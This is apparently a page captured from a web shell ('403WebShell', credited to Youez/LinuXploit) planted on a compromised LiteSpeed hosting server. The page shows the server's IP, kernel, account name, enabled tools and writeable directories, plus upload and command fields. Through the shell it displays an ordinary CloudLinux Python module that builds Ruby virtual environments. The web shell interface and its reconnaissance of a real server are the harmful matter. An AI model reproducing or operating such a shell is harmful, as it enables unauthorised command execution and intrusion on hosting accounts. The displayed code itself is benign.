Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.133.157.220
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectruby/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/clselectruby/rubyvenv.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from distutils import spawn
import getopt
import os
import re
import sys

from clselect.utils import mkdir_p


ACTIVATE_PATTERN = r'''deactivate () {
    if [ -n "$_OLD_VIRTUAL_PATH" ] ; then
        PATH="$_OLD_VIRTUAL_PATH"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "$BASH" -o -n "$ZSH_VERSION" ] ; then
        hash -r 2>/dev/null
    fi
    if [ -n "$_OLD_VIRTUAL_PS1" ] ; then
        PS1="$_OLD_VIRTUAL_PS1"
        export PS1
        unset _OLD_VIRTUAL_PS1
    fi
    unset VIRTUAL_ENV
    unset RUBYHOME
    unset GEM_HOME
    unset GEM_PATH
    unset GEM_SPEC_CACHE
    if [ ! "$1" = "nondestructive" ] ; then
        unset -f deactivate
    fi
}
deactivate nondestructive
VIRTUAL_ENV=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)
RUBYHOME="%s"
# set home directory if it is not for some reason
# (e.g. cagefs_enter in selectorctl)
# othewise recent ruby2.7 version fails to install gem
# with no valid reason in output (like "nil argument, exit")
if [[ "${HOME}" == "" ]]; then
    HOME="$(echo ~)"
    export HOME
fi
ORIG_GEM_HOME=$("$RUBYHOME/bin/gem" env --config-file "" GEM_HOME)
GEM_HOME="$VIRTUAL_ENV"
GEM_PATH="$VIRTUAL_ENV:$ORIG_GEM_HOME"
GEM_SPEC_CACHE="$GEM_HOME/specs"
export VIRTUAL_ENV
export RUBYHOME
export GEM_HOME
export GEM_PATH
export GEM_SPEC_CACHE
_OLD_VIRTUAL_PATH="$PATH"
PATH="$VIRTUAL_ENV/bin:$RUBYHOME/bin:$PATH"
export PATH
if [ -z "$VIRTUAL_ENV_DISABLE_PROMPT" ] ; then
    _OLD_VIRTUAL_PS1="$PS1"
    if [ "x%s" != x ] ; then
        PS1="%s$PS1"
    else
    if [ "`basename \"$VIRTUAL_ENV\"`" = "__" ] ; then
        PS1="[`basename \`dirname \"$VIRTUAL_ENV\"\``] $PS1"
    else
        PS1="(`basename \"$VIRTUAL_ENV\"`)$PS1"
    fi
    fi
    export PS1
fi
if [ -n "$BASH" -o -n "$ZSH_VERSION" ] ; then
    hash -r 2>/dev/null
fi
'''

WRAP_LIST = [
    ['ruby', []],
    ['gem', ['--config-file', '"$VIRTUAL_ENV/gemrc"']],
    ]

WRAPPER_PATTERN = r'''#!/bin/bash
PWD=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
source "$PWD/activate"
exec "$RUBYHOME/bin/%s" "$@"%s
'''


def create(destination, prompt='', ruby=None):
    destination = os.path.expanduser(destination)

    if not ruby:
        ruby = spawn.find_executable('ruby')

    if not os.path.isabs(ruby):
        ruby = os.path.realpath(ruby)

    ruby_home = os.path.dirname(os.path.dirname(ruby))
    basename = os.path.basename(ruby)
    version = re.match('ruby(?P<version>.*)', basename).groupdict()['version']
    venv_bin = os.path.join(destination, 'bin')

    mkdir_p(venv_bin)

    for binary, args in WRAP_LIST:
        bin_name = binary + version
        bin_abs = os.path.join(ruby_home, 'bin', bin_name)
        if not os.path.isfile(bin_abs):
            raise OSError(
                "%s binary does not exists '%s'" % (bin_name, ruby))
        wrapper_abs = os.path.join(venv_bin, binary)
        if args:
            args_str = str.join(' ', [''] + args)
        else:
            args_str = ''
        wrapper_file = open(wrapper_abs, 'w')
        wrapper_file.write(WRAPPER_PATTERN % (bin_name, args_str))
        wrapper_file.close()
        os.chmod(wrapper_abs, 0o755)

    activate_abs = os.path.join(venv_bin, 'activate')
    activate_file = open(activate_abs, 'w')
    activate_file.write(ACTIVATE_PATTERN % (ruby_home, prompt, prompt))
    activate_file.close()


def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'p:r:', ['prompt=', 'ruby='])
    except getopt.GetoptError as err:
        print(str(err))
        usage()
        sys.exit(1)

    prompt = ''
    ruby = None

    if not args:
        print('no destination specified')
        usage()
        sys.exit(1)

    destination = args[0]

    for o, a in opts:
        if o in ('-p', '--prompt'):
            prompt = a
        elif o in ('-r', '--ruby'):
            ruby = a
        else:
            print('unhandled option')
            sys.exit(1)

    create(destination, prompt, ruby)


def usage():
    print('Usage: ' + sys.argv[0] + ' [OPTIONS] VENV')
    print()
    print('Options:')
    print(' -p, --prompt PROMPT   Set alternative prompt prefix for venv')
    print(' -r, --ruby PATH       Ruby interpreter to use to create new venv')
    print(' -h, --help            Show this message')


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit